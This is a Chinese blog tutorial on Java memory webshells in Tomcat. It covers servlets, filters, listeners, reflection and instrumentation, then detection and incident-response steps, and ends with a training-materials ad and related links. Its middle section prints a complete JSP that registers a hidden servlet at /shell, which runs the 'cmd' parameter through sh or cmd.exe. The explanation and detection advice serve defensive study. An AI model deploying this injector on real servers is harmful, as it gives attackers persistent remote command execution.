学习了解内存马,看这篇就够了!(精华版)

java内存马原理和检测方法 内存马为现在的主流webshell技术之一, 一般存在于JAVA环境, ASPX环境也有内存马,但是PHP没有(有不死马,类似条件竞争)内存马主要用途是做权限维持,特点是无文件,代码保存在内存中,导致值守人员不太好进行排查。 阅读详情

介绍:

内存马,也被称为无文件马,是无文件攻击的一种常用手段。虽然由来已久,但是在此之前并未“大红大紫”。近年来盛行于攻防演练之中,攻防演练从2016年的几家参演单位,到2020年扩充到了几百家参演单位,内存马也越来越多的被提起,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。

内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShell,Windows Management Instrumentation(WMI)和PsExec等。无文件攻击技术允许攻击者访问系统,从而启用后续的恶意活动。通过操纵漏洞利用程序、合法工具、宏和脚本,攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且,无文件威胁在执行后不会留下任何痕迹,这使其难以被检测和清除。

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击者正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制,让内存马的攻击得以实现。

一、内存马简介

1.1 webshell变迁

webshell的变迁过程大致如下所述:

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
图片

内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

1.2 如何实现webshell内存马

目标:访问任意url或者指定url,带上命令执行参数,即可让服务器返回命令执行结果

实现:以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。

1.3 内存马类型

根据内存马注入的方式,大致可以将内存马划分为如下两类

1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

二、背景知识

2.1 Java web三大件

2.1.1 Servlet

1.什么是servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

2.请求的处理过程

客户端发起一个http请求,比如get类型。

Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。

Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。

Servlet容器调用service()方法。

service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。

doXXX方法中是我们自己写的业务逻辑。

业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。

容器关闭时候,会调用destory方法

3.servlet生命周期

1)服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。

2)servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行

3)服务器关闭时,销毁这个servlet对象,执行destroy()方法。

4)由JVM进行垃圾回收。

2.1.2 Filter

简介

filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

基本工作原理

1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。

2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。

3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。

4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。

5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。

6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。

filter的生命周期

与servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

filter链
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。

2.1.3 Listener

简介

JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

ServletContextListener:对Servlet上下文的创建和销毁进行监听;
ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换;

HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。

HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听;

ServletRequestListener:对请求对象的初始化和销毁进行监听;
ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。

用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

2.2Tomcat

2.2.1简介

简单理解,tomcat是http服务器+servlet容器。

Tomcat 作为Servlet容器,将http请求文本接收并解析,然后封装成HttpServletRequest类型的request对象,传递给servlet;同时会将响应的信息封装为HttpServletResponse类型的response对象,然后将response交给tomcat,tomcat就会将其变成响应文本的格式发送给浏览器。

2.2.2Tomcat架构设计

前面提到过,Tomcat 的本质其实就是一个 WEB 服务器 + 一个 Servlet 容器,那么它必然需要处理网络的连接与 Servlet 的管理,因此,Tomcat 设计了两个核心组件来实现这两个功能,分别是连接器和容器,连接器用来处理外部网络连接,容器用来处理内部 Servlet,我用一张图来表示它们的关系:

图片

一个 Tomcat 代表一个 Server 服务器,一个 Server 服务器可以包含多个 Service 服务,Tomcat 默认的 Service 服务是 Catalina,而一个 Service 服务可以包含多个连接器,因为 Tomcat 支持多种网络协议,包括 HTTP/1.1、HTTP/2、AJP 等等,一个 Service 服务还会包括一个容器,容器外部会有一层 Engine 引擎所包裹,负责与处理连接器的请求与响应,连接器与容器之间通过 ServletRequest 和 ServletResponse 对象进行交流。

一个engine可以对一个多个host,也就是虚拟主机,一个host可以对应多个context,也就是web应用,一个context对应多个wrapper,也就是servlet。这个映射关系,通过mapper组件来关联,mapper组件保存了Web应用的配置信息,容器组件与访问路径的映射关系。Host容器的域名,Context容器中的web路径,Wrapper容器中的servlet映射的路径,这些配置信息是多层次的Map。根据请求定位到指定servlet的流程图如下:
图片

2.3 其他java背景知识

2.3.1 java反射

反射提供的功能,能在运行时(动态)的

1.获取一个类的所有成员变量和方法

2.创建一个类的对象

a.获取对象成员变量&赋值
b.调用对象的方法
c.判断对象所属的类

在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。
在使用Java反射机制时,主要步骤包括:

①获取 目标类型的Class对象

②通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象

③通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作

2.3.2 java instrumentation

Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)。

Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。

图片

三、内存马实现

这里我们以tomcat的servletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。

<%@ page import="java.io.IOException" %>``<%@ page import="java.io.InputStream" %>``<%@ page import="java.util.Scanner" %>``<%@ page import="org.apache.catalina.core.StandardContext" %>``<%@ page import="java.io.PrintWriter" %>`               
`<%`    `// 创建恶意Servlet`    `Servlet servlet = new Servlet() {`        `@Override`        `public void init(ServletConfig servletConfig) throws ServletException {`
        `}`        `@Override`        `public ServletConfig getServletConfig() {`            `return null;`        `}`        `@Override`        `public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {`            `String cmd = servletRequest.getParameter("cmd");`            `boolean isLinux = true;`            `String osTyp = System.getProperty("os.name");`            `if (osTyp != null && osTyp.toLowerCase().contains("win")) {`                `isLinux = false;`            `}`            `String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};`            `InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();`            `Scanner s = new Scanner(in).useDelimiter("\\a");`            `String output = s.hasNext() ? s.next() : "";`            `PrintWriter out = servletResponse.getWriter();`            `out.println(output);`            `out.flush();`            `out.close();`        `}`        `@Override`        `public String getServletInfo() {`            `return null;`        `}`        `@Override`        `public void destroy() {`
        `}`    `};`
    `%>``<%`    `// 获取StandardContext`    `org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();`    `StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();`
    `// 用Wrapper对其进行封装`    `org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();`    `newWrapper.setName("jweny");`    `newWrapper.setLoadOnStartup(1);`    `newWrapper.setServlet(servlet);`    `newWrapper.setServletClass(servlet.getClass().getName());`
    `// 添加封装后的恶意Wrapper到StandardContext的children当中`    `standardCtx.addChild(newWrapper);`
    `// 添加ServletMapping将访问的URL和Servlet进行绑定`    `standardCtx.addServletMapping("/shell","jweny");``%>

执行上述代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。比如早期rebeyond师傅开发的memshell,就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。

四、内存马检测与排查

4.1源码检测

在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。

这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:

①新增的或修改的;

②没有对应class文件的

③xml配置中没注册的

④冰蝎等常见工具使用的

⑤filterchain中排第一的filter类

还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。

另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马

图片

4.2 内存马排查

如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪分析,也是根据各类型的原理,列出一个排查思路。

如果是jsp注入,日志中排查可疑jsp的访问请求。

如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

图片

如何入门学习网络安全【黑客】

【----帮助网安学习,以下所有学习资料文末免费领取!----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)

大纲

首先要找一份详细的大纲。

img

学习教程

第一阶段:零基础入门系列教程

img

该阶段学完即可年薪15w+

第二阶段:技术入门

弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞

该阶段学完年薪25w+

img

阶段三:高阶提升

反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练

该阶段学完即可年薪30w+

面试刷题

img

在这里插入图片描述

最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。

但是,我觉得很多人拿到了却并不会去学习。

大部分人的问题看似是“如何行动”,其实是“无法开始”。

几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。

如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要。

资料领取

上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 即可自动领取↓↓↓
或者

【点此链接】领取

手搓Filter内存马从构造到利用讲解(内存马系列篇一) 今天开始细说一下内存马相关的知识点了,我打算成立一个专辑,详细讲讲各种内存马的原理,构造,和检测方,同样包括一下tricks。这篇是专辑的第一篇,详解了Tomcat下的Filter内存马。什么是内存马呢? 阅读详情

相关推荐

iOS面试题库(精华版)

dispatch_async(dispatch_get_main_queue(), ^{ }); dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ }); 1.Object-c的类可以多重继承么?可以实现多个接口么?Category是什么?重写一个类的方式用继承好还是分类好?为

style_施的藏经阁 2799

浅析JavaWeb内存马基础原理与查杀思路

传统的 Webshell 后门很容易被当前 WAF、HIDS、EDR 等安全设备检测出来,于是无文件落地的内存马技术得以诞生并快速发展。本文简要分析了Java内存马的原理、分类,并实践了主流Webshell客户端管理工具内存马的使用与当前应对内存马的一些查杀思路、手段。

道阻且长,行则将至 8830

内存Webshell马详解

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到。因此内存马近年来越来越被重视,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。

悦分享 5208

学习了解内存马,看这篇就够了!(精华版)_什么是内存马

内存马,也被称为无文件马,是无文件攻击的一种常用手段。虽然由来已久,但是在此之前并未“大红大紫”。近年来盛行于攻防演练之中,攻防演练从2016年的几家参演单位,到2020年扩充到了几百家参演单位,内存马也越来越多的被提起,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。

jennycisp的博客 2645

stm32最小系统_完成一个最小FOC矢量控制系统所需的基本模块和功能配置

当我们读懂 FOC 矢量控制的基本原理之后,便迫不及待的想动手尝试,去实现一个矢量控制系统,让电机先转起来,有一个直观的感受。因此,我们需要设计实现一个矢量控制的最小系统,具备矢量控制的基本功能,满足电机矢量运行的基本条件。首先,看一下矢量控制的基本架构:矢量控制架构如上图所描述,矢量控制系统包括实时电流的采集、clarke 变换、park 变换、SVPWM 、实时角度的反馈和计算以及电流环和速...

weixin_39524048的博客 1784

华为使用MicroG安装并使用Google服务教程

鉴于众多华为手机用户因无法使用Google服务而感到不便,我经过多次摸索和测试,总结了一份简单易懂的教程,希望能够帮助到大家。无论是需要使用Google Play商店下载应用,还是需要使用Google服务进行工作和学习,本文将详细介绍如何在华为手机上安装并使用Google服务。二、前置条件软件要求:Aurora Store(替代Google Play商店)、MicroG Companion、MicroG Server(替代Google框架)

weixin_41926602的博客 3万+

浮点数内存布局(精华版)

1.float和double的范围和精度 (1)float和double的表示范围是由指数的位数来决定的。float的指数位有8位,而double的指数位有11位,分布如下: float:1bit(符号位)+8bits(指数位)+23bits(尾数位) double:1bit(符号位)+ 11bits(指数位)+ 52bits(尾数位) (2)在数学中,特别是在计算机相关的数字(浮点数)问题的表述中,有一个基本表达法:  (浮点)数值 = 尾数 × 底数 ^ 指数,(附加正负号) ...

komtao520的博客 1945

Ubuntu下NVIDIA驱动安装全攻略:从报错到完美运行nvidia-smi的完整流程

本文提供了在Ubuntu系统中安装NVIDIA驱动的完整解决方案,重点解决因驱动版本冲突、内核模块未加载或Secure Boot安全启动导致的`nvidia-smi`报错问题。通过彻底清理旧驱动、处理Secure Boot、选择兼容版本并正确安装,最终确保驱动完美运行。

weixin_29196891的博客 364

【最新版】Java基础视频精华版深入浅出(有源码)

【最新版】Java基础视频精华版深入浅出 Java入门教程目录: 1.计算机的基础知识(day01) 2.Java语言基础(day02-day06) 3.Java面向对象(day07-day10) 4.Java开发工具(day11) 5.Java常见对象(day12-day14) 6.Java集合框架(day15-day19) 7.JavaIO流(day20-day22) 8.Java多线程(day23-day24) 9.JavaGUI(day25) 10.Java网络编程(day26) 11.Java反

juwuyou的博客 132

SAP-ABAP:接口多继承与复合接口设计:复杂业务场景下的能力组合实现方案

本文介绍了ABAP中通过接口多继承与复合接口设计实现能力组合的方案。文章首先辨析了类实现多个接口与接口继承接口的核心概念,指出ABAP虽不支持类多继承,但可通过这两种机制灵活组合能力。随后详细讲解了类实现多个接口的语法规则与三种调用方式,并给出了五个基础能力接口的设计示例(日志记录、权限校验、数据导出、消息通知、格式转换)。作者通过对比单继承与接口多重实现的差异,强调后者在解耦和扩展性上的优势,为复杂业务场景下的能力组合提供了实用解决方案。

baidu_35680696的博客 248

Yield Management软件:Lam Research二次开发_(5).缺陷分析与分类方法

在半导体制造过程中,缺陷分析和分类是提高良率管理(Yield Management)的关键步骤。通过准确地识别和分类缺陷,可以更好地理解工艺过程中的问题,从而采取有效的措施来提高生产效率和产品质量。本节将详细介绍缺陷分析和分类的方法,包括缺陷检测、特征提取、分类算法及其在Lam Research软件中的应用。

2401_87715305的博客 690

OC 内存管理 精华版

一、基本原理 (一)为什么要进行内存管理。 由于移动设备的内存极其有限,所以每个APP所占的内存也是有限制的,当app所占用的内存较多时,系统就会发出内存警告,这时需要回收一些不需要再继续使用的内存空间,比如回收一些不再使用的对象和变量等。 管理范围:任何继承NSObject的对象,对其他的基本数据类型无效。 本质原因是因为对象和其他数据类型在系统中的存储空间不一样,其它局

Bluelich的专栏 434

【NI Multisim 14.0编辑环境——项目管理器】

主窗口包括标题栏、菜单栏、工具栏、工作区域、电子表格视图(信息窗口)、状态栏及项目管理器7个部分。 上期我们了解了工具栏,今天我们继续了解项目管理器。 一、项目管理器 在原理图设计中经常用到的工作面板有“设计工具箱”面板、“SPICE网表查看器”面板及“LabVIEW 协同仿真终端”面板。 1.“设计工具箱”面板 基本位于工作界面左侧,主要用于层次电路的显示。启动软件,默认创建的“设计1”以分层的形式显示出来。 那么如何打开“设计工具箱”面板呢?如图所示:在该面板中显示 SPICE 网表的输入,输出

RL2698853114的博客 2038

Redis完整学习手册(赵老师视频精华版)

维度关系型数据库(MySQL等)NoSQL(Redis等)数据模型表、行、列,严格Schema键值对、文档、图等灵活结构ACID完整支持事务Redis支持简单事务(MULTI/EXEC)扩展方式垂直扩展为主水平扩展,天然分布式性能受限于磁盘I/O内存级读写(微秒级)适用场景复杂查询、事务、一致性要求高高并发缓存、计数器、消息队列【面试必问】Redis为什么这么快纯内存操作:数据存在内存中,读写微秒级单线程模型。

spc1910cz的博客 319

具身智能中的(VLA)算法与实践——第一讲 基础与概览

本文介绍了视觉-语言-动作(VLA)模型的基础概念及其在AI领域的重要性。VLA模型通过融合多模态数据实现具身智能,使AI系统能感知环境并执行物理动作。文章探讨了大型语言模型(LLMs)和视觉语言模型(VLMs)如何赋能具身智能,包括指令解析、场景理解和动作规划。同时提供了Python、PyTorch/TensorFlow开发环境的详细搭建指南,包含GPU配置建议和测试代码。VLA模型在机器人操作、导航、人机协作等领域具有广泛应用前景,是实现通用人工智能的关键技术。

u012133341的博客 1599

rk3568 点亮双LVDS 屏

承接文章《rk3568点亮LCD(lvds)》中仅仅只能使用亮单LVDS;经过厂商的努力,陆续发布新补丁。目前支持双lvds显示,缺憾是需要自己额外移植相关补丁。受限于通信频率和VOP编码能力,支持最大分辨仍然是1920x1080、60fps。

weixin_35723192的博客 3008

Linux从入门到精通——进程控制篇(精华版)

通常,父子进程的代码是共享的,当父子进程都不再写入时,数据也是共享的。当任意一方试图写入,便会发生写时拷贝。

2302_80964245的博客 610

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

java面试题,看我这篇就够了,前端后台应有尽有,包你通过面试

HTML&CSS部分 1、HTML中定义表格的宽度用80px和80%的区别是什么? PX标识像素,%标识整个父标签宽度百分比 2、CSS样式定义优先级顺序是? 内联样式最高优先权,然后是内部样式,然后才是外部样式 3、div和span的区别?   DIV 和 SPAN 元素最大的特点是默认都没有对元素内的对象进行任何格式化渲染。主要用于应用样式表(共同点)。   两者最明显的区别在于DIV...

cencong863251的博客 5343

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

记一次若依后台管理系统渗透

最近客户开始hw前的风险排查,让我们帮他做个渗透测试,只给一个单位名称。通过前期的信息收集,发现了这个站点,没有验证码,再加上这个图标,吸引了我注意。

蚁景网安学院 3252

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Redis知识点精华版

简介 传统的企业应用系统(OA, ERP, CRM)中,我们关心的是系统的业务逻辑实现,所以开发程序的重心,是如何搭建快速开发的架构及如何实现具体的业务功能。 但是在互联网系统(电商,众筹,P2P)中,业务模块(订单,购物车,支付)已经比较成熟,不再是我们关注的核心了,那么我们关注的是什么?是大数据时代的数据访问,搜索,存储及系统的高并发带来的各式各样问题。 基础架构中包含(硬件和软件) 操作系统(OS),硬件,网络,各种应用服务器等, 而软件架构指的就是程序的运行模式,层次结构以及调用关系.

梦游星海的博客 451

Java基础知识点总结!精华版!

1、Java起源 java Sun公司的,后期被甲骨文收购。 Java之父,詹姆斯高斯林, Java语言早起名字叫做:Oak,由C++演变而来; Java 版本:jdk6 /7 最常用, 最新版本10; 2、Java三个平台: JavaSE(标准版,用于桌面应用开发) JavaEE(企业版,用于企业级应用开发) JavaME(微缩版,用于早期嵌入式开发) 3、JavaAPI...

EasyChillの博客 3万+

转 C++二进制文件的读取和写入(精华版)

转自:http://c.biancheng.net/view/302.html C++二进制文件的读取和写入(精华版) 我们先来说一下为什么要使用二进制文件,它比文本文件有哪些好处。 用文本方式存储信息不但浪费空间,而且不便于检索。例如,一个学籍管理程序需要记录所有学生的学号、姓名、年龄信息,并且能够按照姓名查找学生的信息。程序中可以用一个类来表示学生: class CStudent { char...

qq_42888201的博客 8316
上一篇: 渗透测试神器Nessus使用教程「建议收藏」
下一篇: 网络安全的重要性
黑客老许
博客等级 码龄8年 6158粉丝 1028原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值